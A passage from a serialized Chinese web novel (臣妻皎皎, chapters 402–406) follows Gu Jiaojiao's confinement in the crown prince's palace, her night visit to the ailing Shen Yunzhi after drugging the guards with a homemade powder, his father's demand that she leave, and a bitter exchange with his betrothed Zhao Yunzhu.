“之前顾皎皎就说过,她嫁进候府两年,所用开销比勋贵侯爵还要多,我当初还不信,如今看来,她所说的话,也未必全是假的。” 提到顾皎皎,在场的人脸色都更为难看。 当初因为顾皎皎之事,这候府里的人可没少丢人,最关键的是,那些都是事实。 “青青,好端端的提那个贱人做什么?” 孙协兆终于开口,而后又转向他那位嫂嫂,声音都满是不悦。 “还有你们,好好的日子不这,非要挑事是吗?如果这也不愿意,那也不高兴,我们就分家。” 分家二字一出,刘氏与章氏顿时蔫了,头也不敢抬。 孙老夫人见事情不妙,也在此时出来打圆场。 “一家人提什么分家不分家的,青青啊,母亲年岁也大了,实在不想操心过多,管家的事我也不愿插手,只是你近来要帮着协兆处理外面的事,怕是要两头忙了,辛苦你了。” 这位郡主可不像顾皎皎好拿捏,孙老夫人要想从她身上得些好处,怕是也难。 徐青青丝毫不掩饰自己脸上的鄙夷,起身向孙老夫人行了个礼。 “既然母亲没事,那我便告退了。” 说完,她就头也不的走了。 徐青青敢当众甩脸子,自然是因为她有这个资本,但孙老夫人却受不了了。 “你看看,你看看你娶的好媳妇,如此无礼,当真是没有家教。” 孙老夫人咬着牙,自然是常客是自己的面子上过意不去。 孙协兆也在此时站起身。 “这都是母亲自找的,好端端要拿什么管家权,这个家除了青青的钱,哪还有要管的地方,不知所谓。” 孙协兆也转身离去。 孙老夫人气的不轻,气自己的儿子不替她说话,也气那徐青青太过嚣张,自然了,当她转头看向那两个儿媳时,更生气了。 “两个废物。” 孙老夫人毫不掩饰的低骂出声。 刘氏与章氏都无可奈何,也只能听着,不敢再多说一个字。 皇宫里。 顾皎皎终于能下地缓慢的走一走,云舒与无意站在她身后,像两只母鸡护着小鸡崽一般张开双臂,缓慢的跟着。 “我没事了,你们不用这样紧张。” 顾皎皎回头看了她们一眼,不禁笑了笑。 “姑娘是惯爱逞强的,太医都说了,这些时日姑娘都应该卧床的,你倒好,偏偏要自己下地。” 无意在她身低声埋怨着,也实在是替她担心。 顾皎皎笑了笑没有说话,转头看向镜中的自己。 她着实惨了一些,那张如花儿的脸上没有丝毫血色,整个人看上去也没什么精神,若不是刚刚云舒替她收拾过头发,她怕是会跟鬼一样。 “太子还是未曾过来吗?” 自顾皎皎醒了,再也没有见到沈云祉。 她想与他谈谈,他既然能为了赵蕴苎对她做出处罚,想来也不会太过执着的留在皇宫。 这座宫城,城墙高筑,四角四方的天,实在让人太过压抑。 身后的云舒与无意互视了一眼,觉得时机到了。 “姑娘,其实太子殿下他……” 云舒的话还没有说完,外面便响起了一阵尖锐的声音。 “云南王驾到。” “云南王?云南王怎会来此?无意,替姑娘收拾一下,我去看看。” 云舒肉眼可见的慌了。 她是听说过云南王的,久经沙场之人,自不会像宫里人那般随和。 看着云舒匆忙跑了出去,顾皎皎倒是极为冷静。 身为父母,自然是会儿女的未来考虑,云南王来此,顾皎皎并不意外。 “奴婢见过云南王,顾姑娘还在休息着,怕是无法招待云南王,奴婢……” 云舒跪在地上,话还未说完,云南王却已然略过她,径直向里面走去。 这顾皎皎身边服侍的人,自然也都是沈云祉的亲信,云南王也无须理会他们。 云舒拦不住云南王,这也在顾皎皎的意料之中。 云南王一身蓝色锦袍,双手背在身后,每一步都显得庄重威严。 他的脸与沈云祉与几分相似,眉眼却不同,想来沈云祉那双好看的眉眼,是承自云南王妃。 “民女见过云南王。” 顾皎皎拖着病体,还是向云南王行了个大礼。 云南王看到顾皎皎也是一惊,听宫人说她病了,他还以为是女子争夺宠爱的手段,现下看来倒是他小人之心了。 “起来吧,坐下说话。” 云南王率先坐下。 无意立即上前将顾皎皎扶起,她本是不该坐的,但她这身体也确实撑不了多久,便坐到了一旁。 “民女不知云南王到来,这般蓬头垢面的实在失礼。” 顾皎皎低声说道。 “无妨,听闻你病了,也不必在意这些虚礼,只是,你应该也知道本王来找你的原因吧。” 云南王向来不是拐弯抹角的人,直接表明来意。 顾皎皎当然知道。 她转头看向云舒与无意二人。 “你们先下去吧,不必在此伺候。” 云舒与无意有些犹豫,但主子下令,她他们也不能不从,行了礼后便离开了。 “王爷身为人父,担心太子殿下遇人不淑也是人之常情。” 顾皎皎抬起头,迎向云南王的目光。 云南王倒是对顾皎皎另眼相看了,宫外的女子,不卑不亢,不畏权势,又如此聪慧,倒是难得。 只是,他终究是要为自己的儿子多打算一些。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零二章 这条路是他自己选的 云南王之所以能在这里,是因为沈云祉在病中,无法阻拦于他。 “你倒是聪慧通透之人,既如此,那本王便直说了。” 云南王不怒自威,看向顾皎皎的目光也满是坚定,而后才缓缓说下去。 “云祉虽贵为太子,但他到底不是皇上的亲生儿子,立下诏书之时,百官便颇有微词,朝政复杂,幸得首辅大人相助。” “表面上看,首辅的孙女是得了高位,但实则,云祉也在依靠首辅,还有平王,对东宫之位一直虎视眈眈,但云祉为了你,将他们都得罪了。” “再说的现实一点,日后云祉后宫女无数,但每一个定都是能给他带来助益的,牵扯的是前朝与后宫。” 除此之外,云南王还说了许多有关朝政上的事,以及百官与宗亲对东宫的态度。 他不知这些顾皎皎能不能啪懂,但总要表明自己的态度。 听着云南王说了这么多,顾皎皎自然是明白他今日来的决心。 “云南王所言,民女都清楚,民女无意阻太子殿下前程,只是身不由己。” 顾皎皎微低下头。 她一直都自己的身份,也知道沈云祉坐在那个位置上如立于刀锋之上,她从未有过奢望。 只是,她这般说辞,于高高在上的云南王是说不通的。 这天下,谁人不想离权势更近一步,何况女子本就逆来顺受,有机会嫁入皇城,不知是多少女子与家族的梦想。 云南王打量着她,神色未变。 “抛开政事不谈,只论私情,云祉为了你几次受伤,死里逃生,这一次也同样是为了你,反复卧在雪地里,到现在才捡回一条命……” 云南王后面还说了什么,顾皎皎没有听清。 她脑海中开始浮现沈云祉的脸,自她醒来便没有见过沈云祉,原以为是他在生气,却不想他竟也病倒了。 是为了她吗? 沈云祉为了救她,在雪地里来回反复,只为帮她褪去高热。 他这般行事,当真是让顾皎皎心疼的喘不过来气。 “说句实话,就算他不是太子,只是普通人,身为父亲我也不希望他娶你这样的女子,与身份无关,只是觉得他身侧之人该是理解他,体谅他,呵护他之人。” 顾皎皎明显不合格。 她不只会让沈云祉受伤,还会让他落下别人的话柄,更会让他成为别人的笑话。 顾皎皎稳住心神,那张淡然的神色也有了轻微的变化。 她曾听闻云南王与云南王妃恩爱非常,琴瑟和鸣,想来他们希望自己儿子身边的女子,也该是无论是出身,品性,德行都是极好的人吧? “赵家姑娘有诸多不是,但她知进退,她对云祉无意,云祉对她也无情,可将来他们会相互扶持,哪怕只是为了彼此的目标。” 云南王最后这句说的极重。 他也是在告诉顾皎皎,正因为无情,才可以走的更为长久,而顾皎皎不同,她在意的只有感情。 “那沈云祉的感情呢?他是王爷与王妃恩爱的结晶,不希望他可以有心爱之人吗?” 顾皎皎无意为自己辩解,她只是心疼沈云祉。 “这条路是他自己选的,自然了,这也是本王未想到的地方,他要坐上这个位置的时候,想来也未想到会遇到你吧。” 云南王的眼中闪过一丝无奈,转瞬即逝。 他自然心疼他的儿子,但前提是,他得保住自己的儿子。 “云南王今日来此,又说了这般多,想来是已经替民女做出了决定。” 顾皎皎不想再听下去了,她觉得她与沈云祉都是这场游戏里的微不足道的人物。 因为沈云祉所处在这个位置,所以他的感情,他的情谊并不重要,他所行所言都必须要符合大家的期待。 而她顾皎皎,更是不值一提。 “本王希望你离开云祉。” 云南王眸子幽深,语气坚定。 顾皎皎扯动了下嘴角,露出一抹笑意,只是这笑里掺杂着太多的苦涩。 “也难怪,恐怕这天下所有人都认为,是我留在这皇宫不想离开。” 云南王眼底闪过一抹意外,但又被疑惑取代。 “你不想留下?还是说,这只是你的托词?” 他不信,一个平民女子,有幸被太子带入皇宫,定是要想方设法留下来的,毕竟这也是难得的飞上枝头做凤凰的机会。 可他并不知道,这样的机会,顾皎皎根本不想要。 “民女被带入东宫多日,到现在为止只出过这房门一次,还是被太子殿下罚跪于石板之上,即使我想离开,也走不掉。” 顾皎皎无奈。 云南王却极为震惊。 他只是听说沈云祉带回了一个女子,却从不知晓,这不是带回,是软禁。 “民女家世不显,身份低微,自知并非殿下良人,未想高攀,且民女虽为商户之女,却也有些骨气,若再嫁人,哪怕只是嫁贩夫走卒,也希望是正头娘子,不是宠妃,也不是爱妾。” 她清澈的眸子里一片坚定。 在云南王震惊的目光下,她又说了下去。 “现在不是民女不想离开这宫城,而是太子殿下连门都不让我出,身处深宫,我实属无奈,还望云南王明鉴。” 顾皎皎知晓云南王的来意,又深知沈云祉不会放她离开,她不如就借此机会向云南王表明态度,也许是她离开的一个机会。 听了她的话,云南王确实低头沉思许久,而后才缓缓抬起头。 “如若本王可以助你离开呢?” “只要有机会,民女会头也不回的离开皇宫,日后也绝不踏入皇宫一步。” 顾皎皎迎着云南王的目光,每一个字都说的无比清晰。 云南王打量着她,心中的满是疑虑,但既然得到了他想要的结果,倒也不必再多费精神。 “好,你等本王消息。” 云南王站起身,向外走了两步后又停下来。 “顾姑娘是聪慧之人,当知晓,本王今日与你所言……” “云南王来此,只是听闻民女病重,怕闹出人命,才前来一看,并未提及其他。” 顾皎皎打断了云南王的话,也明白他的意思。 云南王不希望任何人知道他今日所说的话。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零三章 我只是路过 云南王离开了。 云舒与无意匆忙跑了进来,看到顾皎皎第一时间就立刻询问。 “姑娘,王爷说什么了?” “姑娘,云南王向来以刚正不阿闻名,又有些武人脾气,说话也肯定直些,你千万别往心里去。” 看的出来,这两个丫头极为担心顾皎皎。 “无事,只是说了一些太子的近况。” 顾皎皎并未表露出什么,缓缓坐下后,又似突然想到什么一样看向眼前的两个丫头。 “太子殿下,可好些了?” 她问及了沈云祉,也就意味着云南王说了有关沈云祉病倒之事。 云舒与无意互相看了看,皆面露难色。 “他病的很重?” 说不担心是假的,顾皎皎的眸子里已然显现出急切的目光。 “不不,太子殿下已经醒了,太医说幸好殿下身体底子好,不然怕是会出大问题。” 云舒开口解释着。 顾皎皎也在此时向她们询问那日发生的事。 沈云祉就是一个疯子,他用自己的身体为顾皎皎褪去高热,那刺骨的寒冷充斥着他的身体,他却还能做到一遍遍反复。 他做这些时,将寝宫里的下人都打发了出去,怕他们会将这些事传出去,让顾皎皎落到一个牵连太子的名声。 直到顾皎皎的高热退了,他才离开寝宫,但回去后他就倒下了。 “太子殿下吩咐了,不让我们跟姑娘说,奴婢们也想着,姑娘对殿下有情,待姑娘好些,便偷偷告诉姑娘,谁知……” 谁知云南王先她们一步说了沈云祉的情况。 顾皎皎听着这些,唇角挂着淡淡的笑,眼中却泛着泪光。 她强忍着,没有让泪水落下来,却也没敢抬头。 “那他现在怎么样?” “太医说已经没事了,按时服药即可,现在殿下已经醒了,只是睡着的时间比平时多了一些。” 云舒立即答道。 她不知道云南王与顾皎皎说了什么,便也期待着顾皎皎的感动。 只是,当顾皎皎抬起头的时候,神色依旧一片淡然。 “既然无事,便好。” 她缓缓站起身,看了一眼外面,才再次轻声开口。 “我乏了,去睡会儿。” 她向内室走去,身形微微摇晃,但步伐坚定。 云舒与无意站在原地,一时有些错愕。 “云舒姐姐,你说姑娘真的对殿下有情吗?我看着怎么不像呢?” “这世间最深的情,怕就是克制的感情了吧。” “什么意思?为何要克制?殿下明明很喜欢姑娘啊。” 喜欢,这两个字于皇室而言,终究是太过奢侈了。 云舒转头看向无意,眸子里的光芒严肃了几分。 “是这段时间姑娘对你太好了,你便忘了规矩,私下议论主子的事,不要命了?” 无意吐了吐舌头,紧紧的闭着嘴。 顾皎皎确实对她们很好,至少她们在宫中从未得此优待,但现实是,她们终究是宫中的侍女,像顾皎皎这样好的主子,她们怕是再也遇不到了。 夜幕降临。 顾皎皎早早的便睡了。 云舒与无意在外间门口守夜,不知为何,她们觉得今夜特别困倦,迷迷糊糊间便睡着了。 自然,一个一身黑衣的身影从她们身边经过,她们也毫不知晓。 东宫很大,从寝殿到书房,需要走很久的路,中间要路过一个小花园,路上还有偶尔经过的巡逻侍卫。 顾皎皎一袭黑衣,躲躲藏藏,小心翼翼的踏足于雪地之上,有时,她踩在雪上会发出咯吱的响声,怕侍卫听到声音,她也只能走走停停。 待她走到书房处时,已然是深夜。 东宫到底是太子的居所,任何时候都有守夜的人,那亮着的几个火把,也是不需要熄灭的。 顾皎皎躲在柱子后,从衣袖里拿出一小瓶药粉,洒落在院子里,又捧起一些雪盖在药粉之上。 白雪在药粉之上很快化开,随后便有一阵异香传出。 顾皎皎躲在黑暗里,看着书房前的侍卫先是打着哈欠,而后开始嗑睡,最后一个个都倚靠在一边睡着了。 顾皎皎挑了挑眉毛,对于自己所做的药粉极为满意。 此时,整个院子都安静下来,顾皎皎也贴着长廊靠近书房的门。 书房里倒亮着灯,但奇怪的是这里没有一个侍卫。 顾皎皎收起自己备好的药粉,小心翼翼的向里面走去。 书房很大,外面是案几及书架,那案边摆放着无数折子,在一旁还放着一个沙盘,红色蓝色的小旗子,沈云祉一定常在这里研究国事。 偌大的屋子,大多都是沈云祉政务所需,没有花草,没有任何多余的物件,就连桌椅的摆设也极为简洁。 这是顾皎皎第一次来沈云祉的书房,在这偌大的屋子里转了两圈,终才找到内室的门口。 一间书房而已,建的像迷宫一样,沈云祉也不嫌累。 顾皎皎这样想着,脚步也未敢停。 她终是在内室的床榻之上看到了睡着的沈云祉。 她伏在床榻边,看着那张俊美的脸,着实是大病过一场,他眼窝都深陷了几分,唇间没什么血色,倒是睡的安稳。 云舒和无意说他的身上有冻伤的地方。 顾皎皎犹豫了一下后,还是小心翼翼的掀开被子,检查一下他身上是否还有伤痕。 沈云祉的手上,手臂皆有伤痕,应该是太医用过药,诊治过,所以那些伤痕看上去浅了几分。 顾皎皎伸出手,缓缓的向他的胸膛前探去。 就在此时,顾皎皎的手腕被突然扼住。 她震惊之余侧目,发现刚刚还在熟睡中的男子,正笑着看着她。 “你……” 顾皎皎刚一开口,就被那人轻轻一拉,直接拉在了床榻之上。 顾皎皎身体不稳,直接伏在了沈云祉的胸膛之上。 “顾姑娘暗夜出门,又一身夜行衣打扮,莫不是特意来此轻薄本殿下的?” 沈云祉眼含笑意的开口,薄唇处那抹玩味愈发明显。 顾皎皎脸色通红,她计划了很久才躲过外面的人,却不想会被沈云祉当场抓住。 “我,我只是路过,对,路过。” 她甚至不敢看沈云祉的脸,目光躲闪,环顾四周,明明很慌乱,却还要装出无辜的模样。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零四章 只是如此 沈云祉眸子幽深,眼中闪烁着炙热的光芒,手上稍稍用力,将顾皎皎又拉近了几分。 “你当我这东宫是什么地方?想来就来,我岂不是被杀无数次了?” 他话中有话,眉眼间的笑意愈发浓烈。 顾皎皎也在此时突然反应过来。 “你,你早就知道我过来?躲在这里看我笑话?” “也不是早就知道,是从你踏出寝宫知道的。” 沈云祉是东宫太子,在他居所里,安全自然是第一位的。 从顾皎皎迷晕侍卫宫女,再偷偷跑出来后,沈云祉就第一时间得到了消息,他未声张,甚至还下令让那些侍卫绕着点顾皎皎,故意将她放进了书房。 “说起来,你入宫还带着迷药,莫不是有谋害本殿下之心?” 沈云祉揽着她纤细的腰,言语间都是调侃。 顾皎皎翻了个白眼。 “当然不是,那些迷药是我做的,当年洪爷爷教我的,常用于打仗行军时对付敌军,药效极佳。” 顾皎皎向外面看了一眼,又压低了声音开口。 “我想着你身边的人定然是武力高强,怕迷不倒他们,所以加大了药量,不过你放心,绝不会伤害到他们。” 她很得意,虽然偷溜出来有些欠缺,但迷药上,她很满意。 “所以,你费尽心思的过来做什么?担心我?” 沈云祉手臂用力,将顾皎皎又拉近了几分。 二人面对面,只要顾皎皎微微动一下,二人的唇便会碰触到一起。 顾皎皎立即将头转向一边。 “是,听闻你连早朝都没上,便过看看,看看你死了没有。” 她趁沈云祉不注意,立即抽身而出,慌乱的跑下床榻。 “既然你没事,那我就先回去了。” 说着,她就要走,却被沈云祉拉住。 “你放心吧,我现在身体不适,不会将你怎样的,听说父王去找过你。” 果然,什么都瞒不了沈云祉。 顾皎皎没再跑,而是缓缓坐下。 “是,身为父亲,得知宝贝儿子为救我一个商女生病,自然是要来教训一番的,想来不必我说,你也知道你的父亲大人都说了些什么吧?” 她没有怨,说的坦然。 沈云祉挑了挑眉。 “只是如此?” “只是如此?太子殿下说的也太轻巧了些,我本就是被你绑在这宫里的,现下还要被你的父亲指责不怀好意,不安好心,你却说只是如此?” 顾皎皎瞪了沈云祉一眼。 也正是因为她这样的态度,倒是让沈云祉信了她。 “你既肯过来看我,是不是就代表不生我的气了?” 沈云祉扬着嘴角,漆黑的眸子里尽是温柔。 顾皎皎看着她的脸,有片刻的沉溺。 她要怎么告诉他,她并没有生气,只是难过。 难过她不是那可以名正言顺陪在他身边的人,也难过他可以为了大计接受其他女子的好意。 “是啊,我不生气,所以也想借此机会,跟你商量一下放我出宫的事。” 她话音落下之时,沈云祉的脸色瞬间就变了。 他从床榻上坐起身,凝视着她,更像是居高临下的俯视着。 “我给过你承诺,也答应你不会让你身处那些明争暗斗中,即使是这样,你还是要离开?” 于一个太子而言,他能做出这样的保证已然是难得了。 顾皎皎别过头,移开目光。 “我说过,我此生可以再不嫁人,也绝不为妾。” 哪怕是他沈云祉的爱妾。 沈云祉定定的盯着她许久,那双眼眸似是要喷出火来。 屋子里陷入了一片宁静,针落可闻。 许久,沈云祉才冷声开口。 “双瑞。” 他话音落下,双瑞便从外面走了进来。 “殿下。” “送顾姑娘回寝宫,顾姑娘身体还未痊愈,吩咐侍奉她的人,不可让她出来走动,若有差池,唯他们是问。” 很明显,沈云祉生气了。 顾皎皎本想与他争论一番,又想着他身上的伤,最后也只是张了张嘴,未说什么。 她离开了书房,由双瑞护送着向寝宫走去。 大雪过后的夜极为寒冷,双瑞奉命给顾皎皎递了一件斗蓬。 顾皎皎没有推脱,直接披在了肩膀。 “顾府如何?他们定是知道我在皇宫的消息吧。” 顾皎皎低声开口。 其实她一直想问一下顾府的情况,只是她没有机会,她身边的人对宫外的事也并不了解。 “是,顾姑娘刚入宫之时,殿下就命属下去传过信,前几日属下也去过,顾府一切安好。” 双瑞向顾皎皎简单的说着宫外的情况。 顾昭懂事,即使是顾皎皎不在府中的日子,他也未曾有一日落下功课,就连师傅们都说他是他们见过最勤奋的孩子。 至于莺儿与馨儿将顾府以及生意都照顾的很好,并未出什么差错。 听着这些,顾皎皎倒是安心不少。 “多谢。” 顾皎皎转头看了双瑞一眼了,扯动嘴角笑了笑。 双瑞轻叹了一口气,心里有话,还是不吐不快。 “姑娘向来是行事稳重之人,至情至性,也数次为殿下分忧,属下们都知道,姑娘对殿下也是一片深情,可是,为何,为何不愿意为了殿下妥协一次?” 双瑞停顿了一下,抬眼看了一眼顾皎皎的背影后,又继续说道。 “姑娘是大事大非极为分明之人,在外做生意,打理产业,从不在意外界人所说的身份,姑娘又为何非要在意一个妾室之位呢?” 双瑞一连串的问题,所有的疑惑都摆在了顾皎皎的面前。 顾皎皎转头看了他一眼,轻轻的笑了笑,倒是欣慰。 她是觉得欣慰的,毕竟她也未曾想过,这个问题会是从双瑞的口中的问出来。 “你不懂。” 顾皎皎只丢出了这三个字,没有解释,也没有再说什么。 东宫的寝宫门前,双瑞停下脚步。 “姑娘自己进去吧,属下告退了。” “有劳了。” 顾皎皎没有回头,径直向里面走去。 她知道,在暗中已经有不少人奉了沈云祉的命来看守她,她没有想逃,也逃不掉。 这一夜,顾皎皎一直处于半睡半醒间,偶尔会有沈云祉的脸浮现在脑海,让她睡的并不安稳。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零五章 得饶人处且饶人 平王亲自去接回了平王妃。 看着这个自己生活了多年的院子,平王妃觉得有既熟悉又陌生。 她站在院中,身上所着衣衫还是云澜寺里的衣衫,浅灰色,粗糙的面料,没有任何刺绣,也极为单薄。 虽然平王将自己的斗篷披在她的肩膀,却也并没有温暖多少。 头顶上的阳光有些刺眼,而院子里站着的下人,少有她熟悉的。 “外面冷,进来吧。” 平王站在门口,轻声唤着平王妃,语气里满是温柔。 平王妃在一众下人中并没有看到她想见到的那个人。 “冬儿呢?” “冬儿现在在你母家,如果你想让她侍候,我便传信让她回来。” 平王难得的温和,体贴。 其实在此之前,他对平王妃也多半是这样的,只是并不影响他在出了事后,毫不留情的将平王妃推出去。 “不必了。” 平王妃抬起脚步,向屋子里走去。 踏进屋子的那一刻,一股暖流袭来,像这样的温暖,平王妃已经许久没有感受过了。 “我提前命人给你备了的新的被褥,还有这屋子里的摆设,都是按照你的喜好摆的,如果有不妥,吩咐他们再改动就是。” 柔软的床榻,昂贵的香薰,精致的花瓶与摆件,这些原本都是于平王妃最为平常的东西,而现在却极为珍贵。 “王爷有心了。” 平王妃实在是挤不出一丝笑意,微微点头道谢,已经是她能做出的唯一的表情了。 平王看出她的冷淡,也并不在意,而是上前拉起她的手,走到床榻边坐下。 “我知你心里委屈,可是如果不这样做,怕是过不了沈云祉那关,现在事情过去了,本王也将你接了回来,算是好事了。” 好事。 对于平王而言自然是好事,毕竟受罪吃苦承受屈辱的可不是他。 “王爷言重了,夫妻本为一体,妾身明白。” 平王妃答的得体。 自然了,就算她心里有怨,平王也不在乎。 “本王就知道,最善解人意的便是你了。” 平王停顿了一下,看了一眼外面又继续说了下去。 “本王已经命他们备餐食,我们许久没有一同用膳了,今夜我留下来陪你。” 他似是给了一个天大的赏赐。 平王妃起身,欠身行了个礼。 “王爷见谅,妾身待在那寺庙里许久,今日想好好休息,且常伴香火,妾身也该好好清洗一番,免得冲撞了王爷。” 她这是婉拒了平王。 平王则点了点头。 “还是王妃想的周到,既如此,本王稍后命人将膳食送到你屋里来。” “多谢王爷。” 二人又闲聊了几句,平王才离开了平王妃的院子。 平王妃没有梳洗,而是直接躺在床榻之上。 平王妃聪慧,曾经平王行事的许多暗中谋划都出自她之手,那时的她是一门心思的想让平王好,她也一直坚信夫妻同心才为正理。 只是,经此一事,她已然不抱有这样的幻想了。 也许顾皎皎说的对,人在利益面前,是可以舍弃一切东西的,她平王妃就是那个被舍弃的人。 就像现在,她又有了尊贵的身份,日后也会过着锦衣玉食的生活,她知道,那不是平王对她的深情,而是她还有利用价值。 这也是她不让她的侍女冬儿回到她身边的原因,此次事后,无论是平王还是她的母家都不甚在意她,唯一在意她的人只有冬儿。 她不能让冬儿陪她一起去送死了。 皇宫。 沈云祉下朝后,便在回东宫的路上遇到了赵蕴苎。 赵蕴苎来得突然,看到沈云祉时,便笑着迎了上去。 “听闻殿下得了风寒,臣女便做了一些驱寒的吃食,特意等着殿下下朝一起用膳。” 她微仰着头,笑折温婉,说出来的话也极为得体。 只是她的眼中并无半分情谊。 “赵姑娘竟如此早的等在这里,想必是冷了,随我先回东宫吧。” 沈云祉的嘴角永远噙着若有若无的笑,看似有礼,却也极尽疏离与冷漠。 为了体现他太子的风度,他还命人为赵蕴苎备了软轿。 到了东宫后,沈云祉便带着赵蕴苎前往了正厅。 东宫在太子下朝后,便已经备了早膳,现下宫人们又将赵蕴苎带来的餐食摆在中间。 “不成想殿下的膳食如此精致,倒显得臣女的太过小家子气了。” 赵蕴苎一副自责的模样。 沈云祉坐在她的对面,心底厌烦,那张俊朗的脸上却没有丝毫表现。 “这宫里的吃食也只是样子好看些罢了,不及赵姑娘亲手做的美味。” 二人言语之间的客套与虚伪,他们彼此心知肚明,甚至赵蕴苎也可做出娇羞温柔的模样。 这也算是二人第一次用膳,席间显得冷清,倒也符合规矩。 “听闻因为上次的事,顾姑娘还病了些时日,说起来也是臣女不好,大抵是吓到顾姑娘了。” 赵蕴苎微低着头,一边用膳,一边似是随意的说道。 沈云祉眸子微微收紧,凝视她半刻,而后抬了抬手。 王福识趣的带着殿内的人都下去了,只剩下他们二人。 “得饶人处且饶人,赵姑娘如此咄咄逼人,当真是一点也不怕吗?” 沈云祉眸子里的阴冷那般明显。 赵蕴苎做好心理准备,但迎上他目光的那一刻,还是不禁觉得后背发凉。 她稳了稳心神,还是装出不解的模样。 “殿下何出此言?臣女不过是多句嘴罢了,也让殿下如此在意?可见是真真的对顾姑娘好。” “自然,赵姑娘对杜公子也是一往情深,为了报复,不惜将本殿下的东宫当战场。” 沈云祉毫不留情的拆穿了她。 赵蕴苎脸色微变,却也不敢直视沈云祉阴冷的眸子。 “殿下多虑了,臣女入宫只是担心殿下身体,毕竟臣女有着未来太子妃的身份。” 她看向别处,装出十分有理的模样。 沈云祉冷笑出声。 “首辅让你成为太子妃,甚至是未来的皇后,应该也跟你说过,是为了赵家全族,可不是让你拿着这身份争风吃醋的。” 赵蕴苎的那些小把戏,怎么可能逃得过沈云祉的眼睛。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零六章 为所欲为 赵蕴苎一时无言,低垂着眼眸,将嘴唇咬的青紫。 沈云祉是惯会惴度人心的,但凡他不愿伪装了,便可直击人的要害。 “想必你此次来,不是为了送什么膳食,而是想见顾皎皎,想要趁着她病,让她的日再难过一些,是吗?” 沈云祉的目光并未从面前的女子身上离开,每一个字都说的如此郑重。 赵蕴苎的心底是慌乱的,因为她被沈云祉猜中了心事,到现在,她承认也不是,不承认也不是。 “我成全你。” 沈云祉突然开口。 赵蕴苎一怔,抬起头时,沈云祉已经站起身,他居高临下,斜睨了她一眼。 “不过,赵蕴苎,我也警告你,这是最后一次,再有下次,我会让你祖父来宫中接你。” 说完,沈云祉便离开了。 一桌子的菜还热着,但赵蕴苎却觉得全身冰凉,握着筷子的手都在发抖。 赵蕴苎缓半晌才回过神来,待她出门时,沈云祉早就没了踪影,但王福却站在门外。 “奉殿下之命,奴才送赵姑娘前往顾姑娘处。” 王福躬着身子,态度谦和。 刚刚脸色还有些不好的赵蕴苎,此时立即换了一副神情,高高在上,高昂着头,满脸的傲慢。 她也未曾想到,沈云祉竟真的让她去见顾皎皎,他的心思,她猜不到。 赵蕴苎来到寝宫之时,顾皎皎刚服下药,本想着再休息下,却来人通报,来了一位不速之客。 二人面对面,都已撕破脸,自然谁也没有好脸色。 “看顾姑娘这个样子,病的也不重,想来还是太子殿下手下留情了。” 赵蕴苎说话间就已坐了下来,面露嘲讽之意,丝毫不掩饰。 顾皎皎没有理会她,而是转头看向一同前来的王福。 王福面露尴尬之色,却还是勉强的扯出一抹笑。 “赵姑娘担心您,便求了殿下特来看望,殿下已然同意了。” 原来是沈云祉送到她面前的。 明知她们二人不和,却还有意让她们见面,何况这东宫寝宫被围的严严实实,若无他的旨意,想必赵蕴苎也进不来。 “知道了,你去吧。” 顾皎皎未表现出意外,也并未为难这位王公公。 王福赶紧退了出去。 顾皎皎这才看向赵蕴苎。 “今天欲说什么?” 她也坐了下来,侧目看向赵蕴苎,神色清冷。 “顾姑娘果然聪慧,我今日呢,一共给你带来两个消息,一个是有关荣哥哥的。” 赵蕴苎刻意停顿了一下,卖个关子,但她并未等到顾皎皎询问,只得继续说下去。 “荣哥哥家中得知了他近来所做的糊涂事,又查到了有关你的信息,杜伯父便将荣哥哥禁足于府了。” 她很得意,甚至冲顾皎皎挑了挑眉毛。 “所以呢?” 顾皎皎不动声色,问出一个差点让赵蕴苎吐血的问题。 赵蕴苎狠狠的瞪了她一眼。 “自然是因为你惹人厌啊,你这样的女子,任何一个清白人家都避之不及,荣哥哥一时被你蒙蔽,但杜家不是傻子,自然不会与你这等贱人有牵扯。” 赵蕴苎来此就是为了羞辱顾皎皎的,自然不会说出什么好听的。 可这些在顾皎皎看来,愚蠢至极,还什么第一才女,也不怕被人笑死。 “你的荣哥哥都被罚了,罚闭门思过,你还有闲心跑到我这里来闲谈,你可真是心宽。” 顾皎皎撇了撇嘴,她身后的两个侍女也差点笑出声。 “你胡说什么?荣哥哥只是在家闭门思过,自是不会吃什么苦,而且杜伯父也是为了他好。” “对对,你说的都对,所以呢?与我何干?” 顾皎皎迎向她的目光,目光瞬间冷了几分。 赵蕴苎微怔,握着茶盏的手都在收紧,紧抿着双唇,一时竟不知该说些什么。 顾皎皎翻了个白眼。 “好了,说不出来就不要说了,我看着尴尬,说说你的第二个消息吧。” 顾皎皎倚靠在椅子上,扯了扯自己的裙摆,看上去极为随意。 也是她这副满不在乎的模样,让赵蕴苎更为生气。 “第二个消息,是关于你顾府的。” 顾皎皎听到‘顾府’二字,眸子微动,又瞬间恢复如常。 她轻吹着茶,不抬头,也不过问,只等着赵蕴苎说下去。 “坊间流传,安阳候府的人曾上门去找麻烦,家中只有幼弟,不知道有没有吃亏啊。” 赵蕴苎死死的盯着顾皎皎的脸庞,想从她的神色中看出什么。 顾皎皎心里一紧。 她知道赵蕴苎想要什么,她也只能强撑着,不表现出任何异样。 “赵姑娘消息倒是灵通,但我顾府也不是什么小门小户,孙协兆有胆子去,自然能承受得了后果。” 顾皎皎将手中的茶盏放下,说的轻描淡写。 赵蕴苎此时却有些坐不住了。 “你真是不要脸,为了荣华留于宫中,说是收养子嗣,却置他的生死于不顾,像你这么心狠的女子,就该天打雷劈。” 她咬牙切齿,若不是为了以后,好恐怕会直接将匕首插入顾皎皎的心脏。 “赵姑娘是来给我送消息的,怎么还骂人呢?说起来,顾府的事我还没有着急,赵姑娘却急了,由此看来,那安阳候府的人也未在我顾府讨到便宜吧?” 赵蕴苎的态度倒是让顾皎皎安心了几分。 “我就是看不惯你这副自私自利的模样。” “看不惯又如何?你又不能将我怎样,能做的不过就是些挑拨离间的事,首辅的孙女,当真是让人失望。” “顾皎皎……” “行了,你要传的话也传完了,骂了骂了,我今日心情好,也不想与你计较,滚吧。” 到现在为止,顾皎皎的神色才有了一些变化,不过,是不耐烦。 赵蕴苎的脸涨得通红。 